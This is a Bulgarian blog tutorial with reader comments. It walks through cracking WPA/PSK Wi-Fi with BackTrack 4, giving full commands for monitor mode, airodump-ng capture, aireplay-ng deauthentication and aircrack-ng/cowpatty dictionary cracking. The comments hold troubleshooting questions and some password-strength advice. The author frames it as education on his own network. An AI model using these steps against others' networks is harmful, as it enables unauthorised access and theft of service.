Здравейте отново с мен Мартин Петров. Предния път ви демонстрирах как се разбива Wireless с WEP, а сега ще ви обясня как се разбива Wireless с WPA/PSK.
За целта ще използваме live дистрибуцията BackTrack 4 и приложенията в нея .
След като сме заредили нашият BackTrack ще отворим терминал за да подготвим нашият мрежови интерфейс за работа в режим мониторинг
# iwconfig wlan0 mode monitoring
След като настроихме мрежовият ни интерфейс сега ще сканираме за wireless мрежа която да компрометираме с учебна цел
# airodump-ng wlan0
Понеже търсим wireless със WPA кодиране,а тук виждаме такъв прекратяваме с Контрол и C. Wireless мрежата която ще използваме ще бъде "mpetrov_net" на шести канал.
След като избрахме коя мрежа да използваме и видяхме, че тя работи на шести канал е време да пуснем в Терминал 2 airodump за да събирем информация за съответната мрежа.
# airodump-ng -w wpa -c 6 --bssid 00:23:CD:D7:84:FC wlan0
Сега ще отворим Терминал 3 за да изпратим пакети за ре- оторизация. Ще трябва да използваме MAC адреса на клиента които можем да вземем от Терминал 1.
# aireplay-ng -0 1 -a 00:23:CD:D7:84:FC -c 00:1A:73:87:B4:E9 wlan0
След това ще погледнем Терминал 2 и ще видим горе в дясно WPA handshake: 00:23:CD:D7:84:FC с което приключваме събирането на пакети и пристъпваме към кракване на паролата.
За кракване на паролата ще използваме два метода единият е, чрез aircrack, а другият , чрез cowpatty
Първо ще реализираме кракване с aircrack
cd /pentest/wireless/aircrack-g/test
aircrack-ng -w password.lst /root/wpa-01.cap
Сега ще направим кракване с cowpatty:
cd /pentest/wireless/cowpatty
./cowpatty -r /root/wpa-01.cap -f dict -s mpetrov_net
И двата метода успяват да кракнат паролата и да я изведат.
Видео демонстрация от youtube.com: Разбиване на Wireless с WPA encoding (youtube)
Видео демонстрация от vbox7.com: Разбиване на Wireless с WPA encoding (vbox7)
Надявам се, че този видео материал ще бъде използван и интерпретиран единствено с учебна цел.
До скоро от mpetrov.net
PS: Това е истината-> EPRB
Според нашия Наказателен Кодекс манипулирането на wireless мрежи е незаконно:
Чл. 212а. (Нов -- ДВ, бр. 92 от 2002 г.) (1) (Изм. -- ДВ, бр. 38 от 2007 г.) Който с цел да набави за себе си или за другиго облага възбуди или поддържа заблуждение у някого, като внесе, измени, изтрие или заличи компютърни данни или използва чужд електронен подпис и с това причини на него или на другиго вреда, се наказва за компютърна измама с лишаване от свобода от една до шест години и глоба до шест хиляди лева.
(2) (Изм. -- ДВ, бр. 38 от 2007 г.) Същото наказание се налага и на този, който, без да има право, внесе, измени, изтрие или заличи компютърни данни, за да получи нещо, което не му се следва.
Вместо да правите такива гимнастики проосто си платете интернета и ще го имате винаги.
Разбиване на Wireless с WPA encoding,
поздравления за урока , но не мислиш ли че това нещо не трябва да е достъпно до всичките 15 годишни лапета с лаптоп в тях ? ако някой иска да го научи прегледа специализираните форуми , да прочете няколко дебели книги и така ..
Каква е причината #Data да стои 0 или мнооого бавно да се покачва? При положение, че опитвам с мрежа, която ми излиза с добър сигнал?
Явно няма закачен клиент или ако не е активен потребител и може би заради това е 0
Здравей и за много години първо. Това е може би едно първите неща за които помислих преди да направя видео демонстрациите, но стигнах до извода, че не може всеки да го направи защото са необходими познания по GNU/Linux и Networking както и теория на Wireless по- специално. На практика ако някои 15 годишно дете има понятие от това той толкова лесно ще открие как да реализира разбиване от първия резултата в гугъл така и както от тук.
PS: Както казвам за n път: Тези видео демонстрации са за учебна цел и предоставят информация относно сигурността на Wireless WEP/WPA
БРАВО ЗА УРОКА НА БЪЛГАРСКИ,обаче аз съм с XP ,не ми се занимава с другата ОС.
Но като гледам,правиш всичко от добро желание,а видях един урок подобен на твоя само,че с XP ,ама на англииски,та молбата ми е ако може да го направиш на БЪЛГАРСКИ.
Здравей и благодаря, но за съжаление не съм преводач. Направих този урок не защото обичам да превеждам или да услужвам на хората които не разбират английски, а защото очаквах да има такъв преди доста години още когато излязоха тези пролуки на яве. Тъй като след толкова много време никои не направи такава демонстрация реших да я направя аз. Не мисля, че нашият български интернет не заслужава видео демонстрации на всякаква тематика както всеки друг :) Успех
PS: Тази демонстрация която показах може да бъде реализирана и под Windows като се емулира BackTrack (или друга дистрибуция с необходимите приложения) с емулатор (пример: най- употребявания и масов- VMware).
Благодаря за насоката която ми даваш.Но винаги е по лесно когато го видиш наготово:).Просто ми е любопитно,и когато ми остане време ще пробвам.
Поздравления за урока. Преди няколко месеца с един познат си поиграхме малко с Back Track и е в началото потрошихме доста време. Първо нещо не искаше да върви на моя лаптоп, след това на неговия правеше някакви въртели, ама в крайна сметка го подкарахме :)
А иначе за 15 годишните има предостатъчно подобни уроци на английски и не виждам проблем да има и на български. Давайки това инфо, не малко хора може да се замислят и за допълнителни защити на безжичния си интернет
Наистина прекрасни и много полезни уроци . Благодаря Мартине ,но бих искал да попитам за WPA мрежите -- след като изпълнявам всички стъпки последователно, защо накрая не дава ключ ,а passphrase ( някаква думичка ) и какво евентуално да направя ,за да станат нещата както трябва ?
Благодаря. Определено сме на едно и също мнение . Идеята е хората да знаят какви опасности крият wireless мрежите.
Понеже wpa се разбива с bruteforce и се ползва речник (wordlist) за целта предполагам, че търсената дума не присъства в речника ти. Може би трябва да намериш по- голям списък с думи
Извинявам се предварително,но ако знаеш да ми обясниш малко повече за това как мога да подкарам Linux без инсталация на харда,а с LIVECD.няма ли да се
прецака XP то.Ако може стъпките..,
@Dimitrov
Ако е с livecd, просто го записваш на двд и рестартираш с опцията да ти зарежда първо от двд/сд-то. Нищо няма да ти се прецака на харда, ако не му даваш install. И няма да се самоинсталира. Много е просто и безболезнено.
Благодаря за упътването. Преди време пробвах нещо подобно, но не ми се получи. Сега вече си имам нет, където ми трябва, но ако ми потрябва, ще го знам. А има ли начин да разбереш дали някой ти е хакнал мрежата? Предполагам, че в статуса на рутера ще се виждат неочаквани закачени клиенти.
Да. Доста рутери има логове(като някои могат да бъдат изтривани). Най- добре да се ползва WPA2 с много дълга и сложна парола за да се затрудни на макс кракването и.
@deni
ЩЕ ГО ПРОБВАМ,НАДЯВАМ СЕ ДА Е ТАКА,ЧЕ ИНАЧЕ ПРЕИНСТАЛАЦИЯ!ДА СЕ НАДЯВАМ,ЧЕ ПРОГРАМИТЕ ПОД LINUX ПО ТОЗИ НАЧИН ЩЕ ТРЪГНАТ
Добър урок и поздравления за автора.Той обаче пропусна да отбележи,че предварително си е вкарал паролата в речника.Иначе си е мъка..Я си представете,че сте написали името и ЕГН като парола.Вероятността,да я има в някакъв речник, е почти нулева.За WPA мрежи този начин става,но теоретически.Ако някой знае друг начин,без речници,да сподели или даде линк,ще почепя!
Да прав си, но нали се сещаш че в демонстрация за толкова време няма как да чакам да се изредят всички пароли :)
Идеята все пак е да се слагат по- сериозни пароли за да бъдат по- трудно разбиваеми. Ако е много трудно едвали много хора ще се навият да я разбиват. Освен това за горната се изискват доста сериозни ресурси като gpu и клъстериране и т.н. :)
Не мисля, че си прав. В предния форум съм го обяснил като за МАЛОУМНИ х4 и пак не са разбрали и продължават да питат. Основно не могат да разберат какво изобщо е BackTrack. Те дори не са и чували за Linux. Не мисля, че имаме повед за притеснение що се отнася до лапетата с лаптопи :) .
Има и единг голям пропуск. Какво правим ако паролата липсва в "речника" с думи?!
Pyrvo se izvinqvam che pisha na latinica … vse oshte ne sym uspql da si install kirilica na Back Track 4 (ako mojete da mi kajete kak stava)
Vtoro znam che ne tuk e mqstoto da zadavam vyprosi otnosno Back Track 4 no vyprosite mi stoqt bez otgovor v nqkolko foruma veche i se nadqvam che Vie shte mi pomognete.
Problemyt mi e sledniqt:
[code]
jeleff@jeleff:~$ sudo apt-get install root-system-bin
Reading package lists… Done
Building dependency tree
Reading state information… Done
The following extra packages will be installed:
cfortran comerr-dev gfortran gfortran-4.3 libfreetype6-dev libftgl2 libkadm55 libkrb5-dev libpcre3-dev libpcrecpp0 libpthread-stubs0
libpthread-stubs0-dev libroot-dev libroot-minuit5.18 libroot5.18 libx11-dev libxau-dev libxcb-xlib0-dev libxcb1-dev libxdmcp-dev libxext-dev libxi-dev
libxpm-dev root-plugin-asimage root-plugin-gl root-plugin-proof root-system-common ttf-opensymbol x11proto-core-dev x11proto-input-dev x11proto-kb-dev
x11proto-xext-dev xtrans-dev
Suggested packages:
doc-base gfortran-multilib gfortran-doc gfortran-4.3-multilib gfortran-4.3-doc libgfortran3-dbg krb5-doc gccxml root-plugin-netx root-plugin-xproof
Recommended packages:
libroot-minuit root-fitter
The following NEW packages will be installed:
cfortran comerr-dev gfortran gfortran-4.3 libfreetype6-dev libftgl2 libkadm55 libkrb5-dev libpcre3-dev libpcrecpp0 libpthread-stubs0
libpthread-stubs0-dev libroot-dev libroot-minuit5.18 libroot5.18 libx11-dev libxau-dev libxcb-xlib0-dev libxcb1-dev libxdmcp-dev libxext-dev libxi-dev
libxpm-dev root-plugin-asimage root-plugin-gl root-plugin-proof root-system-bin root-system-common ttf-opensymbol x11proto-core-dev x11proto-input-dev
x11proto-kb-dev x11proto-xext-dev xtrans-dev
0 upgraded, 34 newly installed, 0 to remove and 0 not upgraded.
Need to get 341kB/30.2MB of archives.
After this operation, 118MB of additional disk space will be used.
Do you want to continue [Y/n]? y
Err http://archive.offensive-security.com pwnsauce/main ttf-opensymbol 1:2.4.1-11ubuntu2.1
404 Not Found
Failed to fetch http://archive.offensive-security.com/pool/main/o/openoffice.org/ttf-opensymbol_2.4.1-11ubuntu2.1_all.deb 404 Not Found
E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?
[/code]
Ako mojete pomognete mi da si install root-a.
Blagodarq za otdelenoto vreme.
Zdravei,moge bi omryznah s moite vaprosi,no v momenta probvam LIVE na ubuntu,i vaprosyt mi e -za6to ne trygvat vsi4kite tezi programi koito sa za Linux.Da ne bi da trqbwa pylna insttalaciq ili pyk instalirane samo na otdelen fail s koito da se otworqt .EXE -tata
Имам БТ4 на двд диск обаче като го бутне лаптопа ми тръгва без линукс. И не мога да отварям други терминали така. Също имам и БТ3 на USB флаш памет и там работи програмата но под линукс, проблема е че не ми разпознава WIFI картата и като пусна айродъмп няма пакети , а при БТ 4 имам ама там пък терминал като отворя и се затваря предния?
Или как да подкарам 4 като работи линукса на USB bt3
Ivan преди да правиш каквото и да било трябва да ти разпознае wireless картата. За да разбереш това напиши "iwconfig" ако ти излязът интерфейси то всичко ти е наред, ако не трябва да си намериш модула на картата си за GNU/Linux и да го заредиш. След това всичко ще си е наред :) Успех
Май грешно съм се изразил , значи показва ми интерфейса в случая wlan0 и при БТ3 като сканирам мрежата няма пакети на нито един рутър а те имат. С БТ4 всичко тръгва нормално но как да отварям нов терминал,като всичко се случва в един и при команда ctrl+c спира предното отворено.
При VMware след команда airmon-ng не ми излиза интерфейс , къде трябва да е отметката при настройката за WIFI-то има три възможни втората беше NAT другите не си спомням.
Здравей Мартин кажи ми как мога да вкарам в BT4 по- голям dictionary файл wordlist- защото и на мен се появява само passhrase ?
Като за начало се научете да използвате думичката Моля по- често. Нали не смятате, че съм задължен да ви отговарям :). За да бъде по- голям трябва да намериш повече думи и да ги вкараш в един файл. Това е :)
zdravei sujelqvam za obrat6enieto no ne mislex 4e 6te stane taka,iskax da ti kaja 4e imam wordlist v edin fail no kak da go vkaram v bt-4 molq za ivinenie!!
Мартине здр. Моля ако можеш да ми кажеш,защо като отворя 1 терминал,и напиша командата "iwconfig wlan0 mode monitoring" и ми изписва "No sush device" ,,бак трака не ми разпознава whireless картата,,а тя е вклучена,,,моля да ми кажеш каде е проблема,,А на Windows 7 ,,whirelessa mi raboti..
Благодаря
Здравей. Да мога да ти отговоря, "No sush device" означава буквано, че няма таквоа устройство или с др. думи или не ти е разпознало картата или не е на wlan0. Изпълни iwconfig и би трябвало да ти излезе ако я има разпозната разбира се. Ако я няма трябва да потърсиш какви модули трябва да компилираш за да я подкараш. Успех :)
хей Марти благодаря ти,,,но това трагна,,имам друг доста по голям проблем,,всичко е добре сканирва мрежа,,избирам,,и 2-та терминала сабират пакетите (спирам ги на 30-40хил.),,но като напиша командата "airpwn" и мисля че не я разпознава,за6тото ми изкарва един куп с команди и помощи,(-i,-n,-c..и така нататък),като напиша следващата команда "aircrack-ng wep-01.cap",сапочва да тества клучове,,и ми изписва накрая ,"(tested 345435 keys (got 97IVs),,i nai dolu."(Failed,next try with 5000 IVs)..как се сабират тези 5000 ИВс,,и дали ще успея ако ми разреши6 проблема..
Много ще съм ти благодарен ако ми помогнеш,,дано съм обяснил добре… Благодаря
здравей МАРТИНЕ.Може ли малко повече информация за тези речници,ако е възможно,или пък ти остане малко време.На последната команда,нещо не се получава,изписва -no file surch directory.Предполагам,че няма вкарани речници в BT4,и нито идея как се вкарват,преди или след записването на диска.Благодарско,предварително.
това с дейта пакетите е вятър работа , нищо не става няма ли трафик от друг потребител. Също съм го пробвал, набират се пакети срещу твоя мак адрес а горе data нищо не навърта. На видео клипа е показано ама докато Петров напише aireplay и те са се събрали вече 20000 . А когато няма трафик кво правим , седим и чакаме next, 5000, 10000, 15000 и така до като се съберат за каракването. Пробвал съм на домашния рутър и докато не пусна от друг лаптоп нещо за сваляне примерно , доста бавно се събират дейта пакети. Доста се поблъсках тия дни и си разбих паолата на рутара 3-4 пъти.
Така ,че не е ясна много процедурата с aireplay.
Иначе евала на Мартин за труда ,скоро го открих този блог но има потенциал.
Преди само в чужди сайтове имаше инфо за BackTrack и много малко инфо в Бг.
А някои от командите са различават от тези които аз ползвам.
Да нямаш речник затова(ако си с BT4 би трябвало да има там). Ако нямаш в дистрибуцията която ползваш(ако е нормална дистро нормално е да нямаш ) гугълни и ще намериш доста "Wordlists" Надявам се няма да използвате тези познания с лоши цели! Успех :)
хей Марти здравей, имам доста голям проблем,,всичко е добре сканирва мрежа,,избирам,,и 2-та терминала сабират пакетите (спирам ги на 30-40хил.),,но като напиша командата "airpwn" и мисля че не я разпознава,за6тото ми изкарва един куп с команди и помощи,(-i,-n,-c..и така нататък),като напиша следващата команда "aircrack-ng wep-01.cap",сапочва да тества клучове,,и ми изписва накрая ,"(tested 345435 keys (got 97IVs),,i nai dolu."(Failed,next try with 5000 IVs)..как се сабират тези 5000 ИВс,,и дали ще успея ако ми разреши6 проблема..
Много ще съм ти благодарен ако ми помогнеш,,дано съм обяснил добре… Благодаря
Здравейте , инсталирах си две виртуални машини и през тях като заредя Backtrack4 нямам интерфейс при команда airmon-ng .Вградения интелски адаптер не го открива а с USB WIFI се вижда и работи.
WPA е невъзможно да се счупи,ако твоята парола не присъства в речника.Както казаха по-горе.Да кажа нещо и аз ВАЖНО.В повечето страни самите фирми които предлагат нет,тяхните устройства имат ключ един и същ за WEP/WPA дори и при ресет той си остава непроменен(но може да се променя по-желание ). След като някои вътрешен измъкне паролите на тези модели създава Dictionary или WODLISTS които съдържат комбинации от цифри и букви,символи ,и затова те работят някъде си .Също така има значение голями-малки букви,кирилица,латиница и.т.н.Шанса да ти разберът паролата(Ovcata1Sie1Ovca1988)e невъзможен поне за масовите потребители.Така че е бесмислено да се занимавате с WPA.Освен ако не сте сигурни,че паролата на комшията не е 123456.Ако сте забелязали във всички клипове се показва как се краква СОБСТВЕНА МРЕЖА със СОБСТВЕНА ПАРОЛА.
Здравейте и от мен. От урока всичко върви нормално, но когато стигна до последната стъпка ми дава че файла wpa-01.cap не съществува, някай може ли да ме ориентира.
от къде да си изтегля BackTrack 4 и как да я инсталирам мерси предварително
http://remote-exploit.org/backtrack_download.html
а кое да си изтегля извинявай много
всъщност как да инсталирам програмката
всъщност как да инсталирам програмката
http://www.backtrack-linux.org/downloads/
Ето един линк за изтегляне.
ама как да инсталирам програмата
Изтегли си .iso файла и го запиши на DVD, след което рестартирай, ако не си се занимавал до сега с това нещо, по-добре не го инсталирвай а го зареди само от DVD-то като Live-CD, или го емулирай през VMware, пробвах -- работи отлично.
А, още нещо, това не е програмка а Операционна система, вид Linux.
мерси много